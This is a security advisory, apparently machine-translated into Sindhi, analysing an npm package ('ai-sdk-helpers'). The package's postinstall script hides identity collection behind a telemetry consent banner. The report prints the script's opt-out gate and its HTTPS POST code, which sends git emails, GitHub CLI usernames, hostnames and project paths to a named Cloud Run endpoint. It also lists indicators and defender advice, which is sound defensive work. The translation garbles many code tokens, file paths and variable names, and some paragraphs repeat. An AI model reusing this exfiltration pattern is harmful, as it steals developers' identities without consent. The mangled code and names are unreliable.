TL، ڊاڪٽر
هڪ واحد اين پي ايم پيڪيج، اي آءِ-ايس ڊي ڪي-مددگار، پاڻ کي Vercel AI SDK لاءِ هڪ پيداوار ٽول ڪٽ جي طور تي پيش ڪري ٿو، قيمت ٽريڪنگ، فراهم ڪندڙ فال بيڪ، ۽ اسٽريمنگ مددگار پيش ڪري ٿو.
ان جي انسٽال-ٽائيم اسڪرپٽ هڪ پالش ٿيل ڊسڪلوزر بينر سان کلي ٿي جيڪو بيان ڪري ٿو گمنام تشخيص، واعدو ڪندي ته ڪو به سورس ڪوڊ، ٽوڪن، يا سندون منتقل نه ڪيون وينديون، هڪ جي عزت ڪندي DO_NOT_TRACK آپٽ آئوٽ، ۽ ٽيلي ميٽري پاليسي واري صفحي سان ڳنڍڻ.
ساڳي اسڪرپٽ پوءِ ڊولپر جي گٽ سڃاڻپ، گٽ هب CLI ترتيب، مشين هوسٽ نالو، او ايس يوزر نالو، ڪم ڪندڙ ڊاريڪٽري، ۽ CI فراهم ڪندڙ کي پڙهي ٿي.
اهو ڊيٽا JSON جي طور تي گوگل ڪلائوڊ رن اينڊ پوائنٽ تي پوسٽ ڪيو ويندو آهي، جيڪو بيان ڪيل ٽيلي ميٽري پاليسي ۽ گڏ ڪيل اصل فيلڊز جي وچ ۾ هڪ واضح بي ترتيبي پيدا ڪري ٿو.
هي پيڪيج هڪ 83 سيڪنڊ جي برسٽ اندر ٻاويهه ورزن ۾ شايع ٿيو، ۽ انسٽال اسڪرپٽ هر پرچم ٿيل ورزن ۾ بائيٽ فار بائيٽ هڪجهڙو آهي.
اسان جي طرفان جائزو ورتل اٺن مان ست نسخا pipeline ايم ايل ڪلاسيفائر پاران غير نتيجو ڪڍيو ويو ڇاڪاڻ ته رضامندي بينر اسٽائل جائز ٽيلي ميٽري وانگر پڙهي ٿو.
اسين درجه بندي ڪريون ٿا ai-sdk-helpers انسٽاليشن وقت ڊولپر سڃاڻپ گڏ ڪرڻ ۽ خارج ڪرڻ جي بنياد تي خراب طور تي.
شدت: بلند.
انسٽاليشن جي اناتومي
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } پوسٽ انسٽال خودڪار طريقي سان هلندو آهي npm انسٽال ڪريو، پيڪيج جي ڪنهن به اشتهاري ڪوڊ کي درآمد ڪرڻ کان اڳ. اسڪرپٽ اسڪرپٽ/postinstall.js اهو آهي جتي انسٽاليشن وقت جو سڀ رويو رهندو آهي.
اهو هڪ تبصرو بلاڪ ۽ هڪ رن ٽائم نوٽيس سان کلي ٿو جيڪو رازداري جي حوالي سان شعور رکندڙ اوپن سورس پروجيڪٽ جي رجسٽر ۾ لکيل آهي:
>جڏهن توهان ai-sdk-helpers انسٽال ڪندا آهيو، اسان هڪ تيز ماحولياتي مطابقت جي جانچ هلائيندا آهيون ۽ گمنام تشخيص جي رپورٽ ڪندا آهيون... ڊيٽا مڪمل طور تي گمنام آهي - اسان توهان جو پليٽ فارم، نوڊ ورزن، ۽ توهان جي مشين جي سڃاڻپ ڪندڙ جي هڪ طرفي هيش گڏ ڪندا آهيون. ڪو به سورس ڪوڊ، ٽوڪن، يا سندون ڪڏهن به منتقل نه ڪيون وينديون آهن.
اهو هڪ ڪم ڪندڙ آپٽ آئوٽ گيٽ کي به تار ڪري ٿو، جيڪو فائل ۾ پهريون ايگزيڪيوٽو ڪوڊ آهي:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } هن گيٽ کي پهرين ليڪ ڪرڻ اهو آهي جيڪو باقي کي متفقه طور تي پڙهي ٿو: هڪ ڊولپر جيڪو سيٽ ڪري ٿو `D_ٽريڪ_نه_ٿيو` انسٽاليشن خاموشي سان مڪمل ٿئي ٿي ۽ پيڪيج ڪنوينشن جي عزت ڪندي ختم ٿئي ٿي. اعزازي آپٽ آئوٽ حقيقي آهي. اهو جيڪو دروازو کوليندو آهي، هر ڪنهن لاءِ جيڪو ان کي سيٽ نٿو ڪري، اهو هيٺ ڏنل مجموعو آهي - نه ته تنگ "پليٽ فارم، نوڊ ورزن، ۽ هڪ طرفي هيش" جنهن کي نوٽيس جا نالا آهن.
انهي گيٽ جي هيٺان، اسڪرپٽ هڪ پيل لوڊ گڏ ڪري ٿي جيڪو ان وضاحت کان گهڻو اڳتي وڃي ٿو.
- *Gسڃاڻپ.* rحل ڪيوScmسڃاڻپ ()` ايڊز `~.گٽ ڪنفيگ`،`~.config/git/config`،۽ موجوده منصوبي جو `.اهو/config`،`[ کي پارس ڪري ٿوسر]` ايڪشن، ۽ ترتيب ڏنل واپس ڪري ٿو commit اي ميل. جيڪڏهن ڪا به ڪنفگ فائل اي ميل نه ڏئي، ته اها واپس `G` ڏانهن اچي ٿي.ٽي_AUTHOR_اي ميل`،`GT_COMMITTER_EMAIL`،۽ `اياي آءِ ايل` ماحولي متغير. فنڪشن جي مٿان هڪ دستاويز پڙهڻ کي فريم ڪري ٿو "هڪ ئي شخص جي ملڪيت واري مشينن تي انسٽال کي نقل ڪرڻ لاءِ (مثال طور ليپ ٽاپ + سي آءِ)" - هڪ بيان ڪيل مقصد جنهن لاءِ هڪ مستحڪم في ڊولپر سڃاڻپ ڪندڙ جي ضرورت آهي، جيڪو هڪ commit اي ميل سامان.
- *Gٽي هب اڪائونٽ.* rحل ڪريو گٽ هب سڃاڻپ ()` ايڊز `~.config/gh/hosts.yml` ۽ `~.config/gh/hosts.yaml` جڏهن ڊولپر تصديق ڪري ٿو - ۽ ريجيڪس- ڪڍي ٿو ته `u` GitHub CLI پاران لکيل ترتيب واري فائل.اي آر:` ۽ ايايل:` فيلڊز. اها فائل GitHub OAuth ٽوڪن کي پڻ اسٽور ڪري ٿي؛ اسڪرپٽ جو ريجيڪس خاص طور تي يوزرنيم ۽ اي ميل لائينن کي نشانو بڻائيندو آهي ۽ ٽوڪن کي نه ڪڍندو آهي. ظاهر ڪرڻ واري بينر جو "ڪو به ٽوڪن... ڪڏهن به منتقل نه ٿيندا آهن" دعويٰ تنهن ڪري لفظي طور تي ان هڪ فيلڊ لاءِ صحيح آهي جڏهن ته چوڌاري اڪائونٽ سڃاڻپ ڪندڙ پڙهيا ۽ موڪليا ويندا آهن.
- *Hst ۽ CI فنگر پرنٽ.* پوءِ هو اسڪرپٽ گڏ ڪري ٿو `o.ميزبان جو نالو()`,`o.userInfo().username`,نوڊ ورزن، پليٽ فارم ۽ فن تعمير، `pocess.cwd()`,۽ اٺ فراهم ڪندڙن (GitHub Actions، GitLab CI، Jenkins، CircleCI، Travis، Buildkite، ۽ ٻه generic-CI flags) لاءِ ماحولياتي متغيرن جي جانچ ڪندي حل ٿيل CI-پرووائيڊر ليبل. فراهم ڪندڙ جي فهرست هڪ انوینٽري جي طور تي پڙهي ٿي جتي اسڪرپٽ عمل ڪرڻ جي اميد رکي ٿو - انٽرايڪٽو شيلز ۽ خودڪار تعمير. pipelineساڳي سان.
انهن سڀني کي هڪ واحد `ڊي` ۾ گروپ ڪيو ويو آهياگنوسٽڪ bject، هڪ `i` جي تحت گڏ ڪيل في ڊولپر فيلڊز سانادارو` ey ۽ `r` جي تحت هوسٽ ڊيٽاوقت ۽ `سيمتن eyes، پوءِ سيريل ڪيو ويو ۽ منتقل ڪيو ويو:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); جواب رد ڪيو ويندو آهي ۽ سڀئي غلطيون نگلي وينديون آهن - هڪ تبصرو نوٽ ڪري ٿو ته "ٽيلي ميٽري ڪڏهن به انسٽال کي ٽوڙڻ نه گهرجي." اينڊ پوائنٽ هوسٽ نالو گوگل ڪلائوڊ رن سروس کي `e ۾ انڪوڊ ڪري ٿو.رسي-اولهه1` ايجن.
فرق ڪهاڻي آهي. بينر ۾ ڊيٽا جي ٽن قسمن جا نالا ڏنل آهن - پليٽ فارم، نوڊ ورزن، مشين-سڃاڻپ ڪندڙ هيش. پيل لوڊ هڪ ڊولپر جي حقيقي گٽ موڪلي ٿو. commit اي ميل، انهن جو GitHub يوزر نالو ۽ اي ميل، انهن جي مشين هوسٽ نالو ۽ OS اڪائونٽ جو نالو، انهن جو پروجيڪٽ رستو، ۽ انهن جو CI ماحول. اهي فيلڊ جيڪي هڪ *p جي سڃاڻپ ڪن ٿاآرسن ۽ انهن جا اڪائونٽس* بلڪل اهي شعبا آهن جيڪي ظاهر ڪرڻ ۾ شامل نه آهن.
README ٻئي پاسي کان فريمنگ کي مضبوط ڪري ٿو. ان جو "ٽيليميٽري" سيڪشن گمنامي جي دعويٰ کي ورجائي ٿو ۽ لفظ "D" کي ڳنڍي ٿو._ٽريڪ_نه_ٿيو` او سيnsoledonottrack.com`,حقيقي ڪميونٽي صفحو جيڪو آپٽ آئوٽ ڪنوينشن کي دستاويز ڪري ٿو - هڪ تسليم ٿيل رازداري قرض وٺڻ standard نوٽيس کي معمول جي طور تي پڙهڻ لاءِ.
مقرر وقت
هي هڪ سنگل پيڪيج جي ڳولا آهي جنهن جي اشاعت جي تاريخ تمام مختصر، تمام گهڻي آهي. ٽريڪ ڪرڻ لاءِ ڪو به گھڻن هفتن جو مهم آرڪ ناهي - پوري ورزن جي حد کي مشين جي رفتار سان اڳتي وڌايو ويو.
| جڏهن (UTC) | واقعي |
|---|---|
| 2026-06-03 20:31:20 | پهريون نسخو (0.1.0) npm تي شايع ٿيل. |
| 2026-06-03 20:31:20 – 20:32:43 | سڀ 22 نسخا (0.1.0 جي ذريعي 1.4.2) 83 سيڪنڊن جي خودڪار برسٽ ۾ شايع ٿيو. |
| 2026-06-04 | اٺ نسخا سڃاڻپ سگنلن پاران نشان لڳل آهن؛ دستي تجزيو انسٽاليشن وقت جي سڃاڻپ گڏ ڪرڻ ۽ خارج ڪرڻ جي تصديق ڪري ٿو. تجزيو جي وقت تي پيڪيج npm تي لائيو رهيو. |
22 سيمينٽڪ ورجن ۾ 83 سيڪنڊن جي ونڊو پاڻ ۾ هڪ رويي جو اشارو آهي: ورجن سيڊر (`01.0'،`01.1'،… `14.2`)هڪ فعال طور تي برقرار رکيل منصوبي جي مٿاڇري کي هڪ رليز تاريخ سان پيش ڪري ٿو، جيڪو هڪ اسڪرپٽ ٿيل رن ۾ تيار ڪيو ويو آهي. انسٽال اسڪرپٽ انهي ڏاڪڻ تي تبديل نه ٿيندي آهي - هيٺ ڏسو.
سمجهوتي جا اشارا
شايع ٿيل ورزن جي حد ۾ انسٽاليشن وقت پيل لوڊ هڪجهڙو آهي. الف `dايف ايف` فَسرِپٽس/پوسٽ انسٽال.جي ايس` ايٽ وين ورجن `02.1 " ٻيو نسخو `14.2 " ڪو به فرق ناهي؛ رويي هڪ مقرر ٿيل فنگر پرنٽ آهي، نه ته هڪ ارتقا پذير پيل لوڊ.
نيٽ ورڪ
22 سيمينٽڪ ورجن ۾ 83 سيڪنڊن جي ونڊو پاڻ ۾ هڪ رويي جو اشارو آهي: ورجن سيڊر (`01.0'،`01.1'،… `14.2`)هڪ فعال طور تي برقرار رکيل منصوبي جي مٿاڇري کي هڪ رليز تاريخ سان پيش ڪري ٿو، جيڪو هڪ اسڪرپٽ ٿيل رن ۾ تيار ڪيو ويو آهي. انسٽال اسڪرپٽ انهي ڏاڪڻ تي تبديل نه ٿيندي آهي - هيٺ ڏسو.
سمجهوتي جا اشارا
شايع ٿيل ورزن جي حد ۾ انسٽاليشن وقت پيل لوڊ هڪجهڙو آهي. الف `dايف ايف` فَسرِپٽس/پوسٽ انسٽال.جي ايس` ايٽ وين ورجن `02.1 " ٻيو نسخو `14.2 " ڪو به فرق ناهي؛ رويي هڪ مقرر ٿيل فنگر پرنٽ آهي، نه ته هڪ ارتقا پذير پيل لوڊ.
نيٽ ورڪ
| اشارو | ڪردار |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | ايڪسفلٽريشن اينڊ پوائنٽ، JSON پيل لوڊ سان HTTPS پوسٽ درخواستون وصول ڪري رهيو آهي. گوگل ڪلائوڊ تي ميزباني ڪيل رن ۾ europe-west1 علائقو. |
ڊيڪوئي انفراسٽرڪچر
| اشارو | ڪردار |
|---|---|
ai-sdk.guide | "AI SDK گائيڊ" ليکڪ جي سڃاڻپ جي پٺڀرائي ڪندڙ پيڪيج هوم پيج ۽ لائيو سائيٽ. |
ai-sdk.guide/telemetry | ٽيلي ميٽري پاليسي URL جو حوالو انسٽاليشن وقت ظاهر ڪرڻ جي نوٽيس ۾ ڏنو ويو آهي. |
hello@ai-sdk.guide | ليکڪ جي اي ميل ۾ اعلان ڪيو ويو package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | پيڪيج پاران اعلان ڪيل ماخذ مخزن. |
انسٽاليشن وقت پڙهڻ واريون فائلون
- -.گٽ ڪنفيگ`،`~.config/git/config`،`<wd>/.git/config` گِٽ `[سر]` ميل
- - .config/gh/hosts.yml`،`~.config/gh/hosts.yaml` گٽ هب CLI `uاِر` `eايل
رويي جا دستخط
- - ايم پيانسٽال ڪريو` ۽ هڪ بنڊل نوڊ اسڪرپٽ کي استعمال ڪندي
- - آپٽ آئوٽ گيٽ (`A_SDK_مددگار_ٽيليميٽري_بند ٿيل`،`D_ٽريڪ_نه_`)سڃاڻپ گڏ ڪرڻ کان اڳ، رازداري جي خصوصيت جي طور تي پيش ڪيو ويو
- - هڪ JSON شئي جو tbound HTTPS POST جنهن ۾ گٽ اي ميل، گٽ هب سڃاڻپ، ميزبان نالو، OS يوزر نالو، cwd، ۽ CI ليبل شامل آهن.
- - تيزي سان شايع ٿيل ورزن جي ڏاڪڻ تي هڪجهڙائي انسٽال اسڪرپٽ
منسوب ۽ مشاهدو ڪيل رويو
اسان پيڪيج ۽ رجسٽري ميٽا ڊيٽا رڪارڊ کان ٻاهر ڪجهه به منسوب نٿا ڪريون.
رڪارڊ جو npm سنڀاليندڙ اڪائونٽ `a آهيايلسِمن،پتي سان `aiel@vigilance.security`.رجسٽري ۾ ان اي ميل کي غير تصديق ٿيل ۽ اڪائونٽ جي سورس ڪنٽرول سڃاڻپ کي غير تصديق ٿيل طور درج ڪيو ويو آهي. `pckage.json`,الڳ الڳ، ليکڪ کي "AI SDK گائيڊ" طور پيش ڪري ٿو.ello@ai-sdk.guide>`"`a جي هوم پيج سان-ايس ڊي ڪي گائيڊ` ۽ هڪ `g` جي تحت هڪ ذريعو ذخيروthub.com/ai-sdk-guide` تنظيم. پبلشنگ اڪائونٽ جو اي ميل ڊومين (`vigilance.security`)۽ پيڪيج ۾ ليکڪ جي سڃاڻپ (`a-sdk.guide`)مختلف ڊومين آهن.
هڪ-ايس ڊي ڪي گائيڊ` اهو لائيو آهي ۽ جواب ڏئي ٿو، ۽ `/ايليميٽري` ath حل ڪري ٿو — ڊيڪوئي سڃاڻپ کي هڪ ڊيڊ لنڪ جي بدران هڪ پهچ واري ويب موجودگي جي پٺڀرائي حاصل آهي، جيڪا پيڪيج جي فريمنگ جي اعتبار کي وڌائي ٿي.
**مشاهدو ڪيل صلاحيت.** انسٽاليشن وقت، پيڪيج ڊولپر جي سڃاڻپ ۽ اڪائونٽ-ڪنفيگريشن فائلن کي پڙهي ٿو، ميزبان ۽ CI ماحول کي فنگر پرنٽس ڪري ٿو، ۽ نتيجو کي آپريٽر جي ڪنٽرول ٿيل اينڊ پوائنٽ ڏانهن منتقل ڪري ٿو، جڏهن ته هڪ نوٽيس ڏيکاري ٿو جيڪو هڪ تنگ ۽ گمنام ڊيٽا سيٽ کي بيان ڪري ٿو. اسان هن رويي کي بيان ڪريون ٿا؛ اسان ان لاءِ ڪو مقصد بيان نٿا ڪريون. پيڪيج جو جائزو وٺندڙ پڙهندڙ - بشمول ڪنهن به پارٽي جيڪا پبلشنگ سڃاڻپ کي سڃاڻي ٿي - کي بيان ڪيل ۽ حقيقي ڊيٽا جي وهڪري جي وچ ۾ مشاهدي واري بي ترتيبي جو وزن ڪرڻ گهرجي.
اثر، رجحانات، ۽ محافظن لاءِ هدايتون
ڪير بي نقاب آهي. ڪو به جيڪو انسٽال ڪري ٿو اي آءِ-ايس ڊي ڪي-مددگار — سڌي طرح يا هڪ منتقلي انحصار جي طور تي — ڪليڪشن کي ان مشين تي هلائي ٿو. ڇاڪاڻ ته ٽرگر آهي پوسٽ انسٽال، ڊيٽا جي وهڪري لاءِ اشتهار ڏنل لائبريري ڪوڊ کي ڪڏهن به درآمد ڪرڻ جي ضرورت ناهي؛ صرف انسٽال ڪافي آهي. سڀ کان وڌيڪ قدر وارا ماحول ڊولپر ورڪ اسٽيشن آهن جن ۾ هڪ ترتيب ڏنل گٽ سڃاڻپ ۽ هڪ تصديق ٿيل گٽ هب CLI، ۽ CI رنرز آهن، جتي اسڪرپٽ جي CI-پرووائيڊر جي سڃاڻپ ظاهر ڪري ٿي ته ڪليڪشن بلڊ اندر هلڻ جي اميد آهي. pipelines ۽ ليپ ٽاپ تي پڻ.
جيڪو اهو ظاهر ڪري ٿو. عام صورت ۾ ايپليڪيشن راز نه - پيل لوڊ مرڪز تي سڃاڻپ: ڊولپر جو commit اي ميل، انهن جي GitHub اڪائونٽ جو نالو ۽ اي ميل، مشين ۽ اڪائونٽ جا نالا، ۽ پروجيڪٽ جو رستو. اهو هڪ پري آهيcisڪنهن پيڪيج کي انسٽال ڪيو، ڪهڙي مشين تي، ڪهڙي ريپوزٽري ۾، ۽ ڪهڙي سي آءِ سسٽم تحت، ان جو نقشو. هڪ تنظيم لاءِ، اهڙن رڪارڊن جو هڪ مُٺ گڏ ڪيو ويو ته ڪهڙن انجنيئرن ۽ ڪهڙي بلڊ سسٽم انحصار کي ڇڪيو - وڌيڪ ٽارگيٽڊ فالو آن سرگرمي جي اڳڪٿي جي طور تي ڪارآمد، جيتوڻيڪ هن پيڪيج جو پنهنجو رويو گڏ ڪرڻ ۽ ٽرانسميشن تي روڪي ٿو.
رجحان: ٽيلي ميٽري بطور ڍڪ. جائز ڊولپر ٽولز گمنام انسٽال تشخيص گڏ ڪن ٿا، ۽ ان کي احترام سان ڪرڻ لاءِ ڪنوينشن - هڪ ظاهر ڪرڻ جو نوٽيس، هڪ ٽريڪ نه ڪريو عزت، هڪ آپٽ آئوٽ فليگ، هڪ پاليسي URL - مشهور آهن. اي آءِ-ايس ڊي ڪي-مددگار انهن چئني ڪنوينشنن کي ايمانداري سان ٻيهر پيدا ڪري ٿو ۽ انهن کي سڃاڻپ گڏ ڪرڻ لاءِ ريپر طور استعمال ڪري ٿو. رضامندي بينر، ڪم ڪندڙ آپٽ آئوٽ، يا رازداري پاليسي لنڪ جي موجودگي ان ڳالهه جو ثبوت ناهي ته هڪ پيڪيج قابل اعتماد آهي؛ اهي ڪنٽرول نقل ڪرڻ لاءِ سستا آهن. واحد قابل اعتماد چيڪ اهو آهي ته ڪوڊ اصل ۾ ڇا پڙهي ٿو ۽ اهو اصل ۾ ڪٿي موڪلي ٿو.
هن پيڪنگنگ جو خودڪار ٽرائيج تي پڻ ماپي سگهجي ٿو. سڀني نسخن ۾ اسان جو pipeline جائزو ورتو ويو، انسٽال اسڪرپٽ جي سادي ٻولي جا تبصرا، منظم فيلڊ نالا، ۽ روايتي آپٽ آئوٽ گيٽ کي عام ٽيلي ميٽري طور اسڪور ڪيو ويو: اٺن مان ست واپس آيا اڻڄاتل ايم ايل ڪلاسيفائر کان بدسلوڪي جي بدران. اهو سگنل جيڪو ابهام کي حل ڪري ٿو اهو نثر ۾ ناهي - اهو انهن مخصوص فائلن ۾ آهي جيڪي اسڪرپٽ کوليندو آهي (~/.gitconfig, ~/.config/gh/hosts.yml) ۽ منزل جنهن ڏانهن اهو موڪلي ٿو. هڪ جائزو وٺندڙ، خودڪار يا انساني، جيڪو انڪشاف پڙهي ٿو ۽ اتي روڪي ٿو، غلط نتيجي تي پهچندو؛ اهو فيصلو ڊيٽا جي وهڪري جي حقيقتن مان ٿيڻو پوندو.
محافظن لاءِ هدايت:
- ڊفالٽ طور تي غير فعال اسڪرپٽ سان انسٽال ڪريو — npm انسٽال ڪريو - نظرانداز ڪريو-اسڪرپٽ، يا سيٽ ڪريو نظرانداز-اسڪرپٽ = سچو in .npmrc ۽ تصديق ٿيل تعمير جا مرحلا واضح طور تي هلايو. هي غير جانبدار ڪري ٿو پوسٽ انسٽال-مجموعي طور تي ڪليڪشن کي متحرڪ ڪيو.
- آپٽ آئوٽ ڪنٽرول کي اعتماد جي سگنلن طور نه سمجهو. الف ٽريڪ نه ڪريو چيڪ يا "ٽيلي ميٽري پاليسي" لنڪ توهان کي ان ڊيٽا بابت ڪجهه به نه ٻڌائيندو آهي جيڪو اسڪرپٽ گڏ ڪري ٿو جڏهن گيٽ سيٽ نه هوندو آهي.
- AI-ايڪو سسٽم مددگار پيڪيجز کي اپنائڻ کان اڳ انسٽال ٿلهو پڙهو. Vercel AI SDK اسپيس هڪ تيز رفتار، اعليٰ اعتماد وارو هدف آهي؛ هڪ پوسٽ انسٽال جيڪو ڇهندو آهي ~/.gitconfig or ~/.config/gh/ هڪ واضح سگنل آهي قطع نظر ته چوڌاري تبصرا ڪيئن لکيا وڃن.
- تعمير وقت جي نڪرڻ جي نگراني ڪريو. هڪ آئوٽ بائونڊ HTTPS پوسٽ دوران npm انسٽال ڪريو، خاص طور تي هڪ تازي فراهم ڪيل ڪلائوڊ-فنڪشن اينڊ پوائنٽ تائين، نيٽ ورڪ پرت تي مشاهدو ڪري سگهجي ٿو ۽ CI ماحول لاءِ هڪ مضبوط ڳولا وارو نقطو آهي.
- دٻيل ورجن جي ڏاڪڻين تي نظر رکو. هڪ پيڪيج جنهن جي پوري سيمينٽڪ-ورجن جي تاريخ سيڪنڊن اندر ظاهر ٿئي ٿي، هڪ غير تبديل ٿيندڙ انسٽال اسڪرپٽ سان، هڪ تيار ڪيل سار سنڀال جي تاريخ پيش ڪري رهي آهي.





